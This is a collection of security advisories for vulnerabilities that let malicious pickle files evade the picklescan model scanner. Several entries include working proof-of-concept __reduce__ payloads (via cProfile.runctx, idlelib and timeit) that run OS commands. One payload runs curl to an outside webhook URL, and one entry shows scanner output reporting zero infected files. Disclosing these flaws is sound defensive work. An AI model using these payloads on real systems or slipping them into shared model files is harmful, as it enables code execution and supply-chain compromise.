CVE-2025-71348 is a deserialization vulnerability in picklescan versions before 0.0.28. The tool fails to detect malicious pickle files that exploit the torch.utils._config_module.load_config function within reduce methods. This allows attackers to craft pickle files that evade detection but execute arbitrary code during pickle.load, enabling remote code execution in supply chain attacks.
picklescan versions before 1.0.1 contain a vulnerability in unsafe pickle deserialization. This flaw allows unauthenticated attackers to craft malicious pickle payloads that instantiate the logging.FileHandler class, enabling creation of arbitrary zero-byte files. Exploitation can bypass remote code execution blocklists and may lead to denial of service or disruption by creating lock files or other filesystem artifacts. The issue is fixed in version 1.0.1.
picklescan before 1.0.3 contains a scanning bypass vulnerability in the scan_pytorch function that allows attackers to embed malicious magic numbers via dynamic eval using the __reduce__ trick. Attackers can craft malicious PyTorch payloads that evade picklescan detection while remaining executable, enabling arbitrary code execution when loaded with torch.load().
picklescan before 1.0.1 contains an unsafe deserialization vulnerability allowing unauthenticated users to execute arbitrary code by hiding eval calls nested under callable objects via getattr. Attackers can embed malicious code in pickle files that evades detection but executes when the pickle is loaded from untrusted sources.
picklescan before 1.0.4 contains an incomplete blocklist for the profile module that fails to block the module-level profile.run() function, allowing attackers to achieve arbitrary code execution via exec(). Attackers can craft malicious pickle files calling profile.run(statement) to execute arbitrary Python code while picklescan reports zero security issues.
picklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary server files by chaining io.FileIO and urllib.request.urlopen. Attackers can bypass RCE-focused blocklists to exfiltrate sensitive data like /etc/passwd to external servers.
CVE-2025-71325 is a critical vulnerability in picklescan versions before 0.0.27. It involves a parsing logic error in the _list_globals function when processing STACK_GLOBAL opcodes, which causes improper tracking of arguments. This flaw allows crafted malicious pickle files with arguments at position zero to bypass security scanning by triggering unexpected exceptions.
CVE-2025-71323 is a critical vulnerability in picklescan versions before 0.0.33 where the software fails to block the ctypes module. This allows attackers to craft malicious pickle files that leverage ctypes.WinDLL to load kernel32.dll and execute arbitrary commands, bypassing sandbox protections and gadget chain detection. The vulnerability enables remote code execution without requiring user interaction or privileges.
PickleScan versions before 0.0.33 have a security flaw where the pty.spawn function is not included in the unsafe globals list. This omission allows attackers to craft malicious pickle payloads that can bypass security checks and execute arbitrary code when processed by vulnerable PickleScan versions.
picklescan versions before 0.0.33 contain a critical deserialization vulnerability that allows attackers to bypass security blocklists and write arbitrary files. This flaw enables malicious pickle objects to overwrite important system files, potentially causing denial of service or remote code execution.
CVE-2025-71320 is a critical vulnerability in picklescan versions before 0.0.33. The software's deny-list for disallowed inputs is incomplete, failing to block the pydoc.locate and operator.methodcaller functions. This allows remote attackers to craft malicious pickle files that bypass security checks and achieve arbitrary code execution upon deserialization. The issue is fixed in version 0.0.33.
PickleScan version 1.0.3 and earlier do not block several Python standard library modules that enable direct remote code execution (RCE) when malicious pickle files import them. These modules include uuid, _osx_support, _aix_support, _pyrepl, imaplib, and test.support.script_helper. Malicious pickle files using these modules pass PickleScan's safety checks with zero issues detected, allowing arbitrary command execution upon unpickling. This affects all deployments relying on PickleScan, including the HuggingFace Hub. A fix is available to update the blocklist, but the vendor recommends architectural changes to use a default-deny allowlist approach instead.
Picklescan versions prior to 0.0.33 fail to detect malicious pickle files that exploit the numpy.f2py.crackfortran._eval_length function during unpickling. This allows attackers to execute arbitrary Python code when a crafted pickle is loaded, despite Picklescan reporting the file as safe. The vulnerability enables arbitrary code execution in workflows relying on Picklescan to vet untrusted pickle or PyTorch artifacts, potentially facilitating supply-chain poisoning of shared model files.
### Summary
Using cProfile.runctx function, which is a built-in python library function to execute remote pickle file.
### Details
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to cProfile.runctx function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
### PoC
```
import cProfile
class EvilCProfileRunctx:
def __reduce__(self):
# cProfile.runctx(cmd, globals, locals) -> exec(cmd, ...)
return cProfile.runctx, ("__import__('os').system('whoami')", None, None)
```
### Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
### Corresponding
https://github.com/FredericDT
https://github.com/Qhaoduoyu
Picklescan versions prior to 0.0.30 fail to detect malicious payloads that exploit the idlelib.pyshell.ModifiedInterpreter.runcode function during pickle deserialization. This allows attackers to embed and execute arbitrary code when a malicious pickle file is loaded, posing a risk to any user relying on Picklescan for safety checks on pickle files, including those in PyTorch models. The vulnerability enables potential supply chain attacks by distributing infected pickle files across machine learning models and Python objects.
### Summary
Using idlelib.pyshell.ModifiedInterpreter.runcommand function, which is a built-in python library function to execute remote pickle file.
### Details
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcommand function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
### PoC
```
from idlelib.pyshell import ModifiedInterpreter
from types import SimpleNamespace
class EvilIdlelibPyshellModifiedInterpreterRuncommand:
def __reduce__(self):
payload = "__import__('os').system('whoami')"
fake_self = SimpleNamespace(
locals={},
tkconsole=SimpleNamespace(executing=False),
rpcclt=None,
debugger=None
)
return ModifiedInterpreter.runcommand, (fake_self, payload)
```
### Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
### Corresponding
https://github.com/FredericDT
https://github.com/Qhaoduoyu
Picklescan versions prior to 0.0.30 fail to detect malicious pickle files that exploit the built-in Python function ensurepip._run_pip. This allows attackers to embed and execute arbitrary code when such pickle files are loaded, bypassing Picklescan's detection. The vulnerability impacts users relying on Picklescan to validate pickle files, including those embedded in PyTorch models. This can facilitate supply chain attacks by distributing infected pickle files across machine learning models, APIs, or saved Python objects.
Picklescan versions prior to 0.0.29 fail to detect malicious pickle files that exploit the built-in Python function idlelib.autocomplete.AutoComplete.get_entity. This allows attackers to craft pickle payloads that bypass Picklescan's detection and execute arbitrary code when loaded. The vulnerability affects users relying on Picklescan to verify the safety of pickle files, particularly in contexts such as PyTorch models. Exploitation can lead to remote code execution and supply chain attacks through infected pickle files distributed in machine learning models or saved Python objects.
### Summary
Using timeit.timeit() function, which is a built-in python library function to execute remote pickle file.
### Details
Pickle’s deserialization process is known to allow execution of function via reduce method. While Picklescan is meant to detect such exploits, this attack evades detection by calling built-in python library function like **timeit.timeit()**. And since timeit library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan.
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to **timeit.timeit()** function from timeit library in __reduce__ method
Then, inside reduce method, the attacker import dangerous libarary like os and calling **os.system()** to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim.
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
### PoC
1. The attacker crafted a malicious pickle file using built-in python library function timeit.timeit()
```
import pickle
import timeit
class Payload(object):
def __reduce__(self):
return timeit.timeit, ('','import os; os.system("curl https://webhook.site/95f3e1c3-ee37-4a5a-8544-ab4ce93475f6")')
def create_payload():
with open('payload.pickle', 'wb') as f:
pickle.dump(Payload(), f)
create_payload()
```
Then the attacker will send this pickle file to the victim computer and maybe the victim load this pickle using pickle.load()
2. The victim will use picklescan library to check out if the received pickle file is malicious or not
```
picklescan -p payload.pickle
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Dangerous globals: 0
```
3. Beliving that this pickle file is safe using modelscan, the victim then load this pickle file which will trigger timeit.timeit command to execute OS commands (in my example, it was curl command)
```
import pickle
def load_payload():
with open('payload.pickle', 'rb') as f:
pickle.load(f)
load_payload()
```
### Impact
Severity: High
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
### Recommended Solution
I suggest adding timeit library to the unsafe globals blacklist.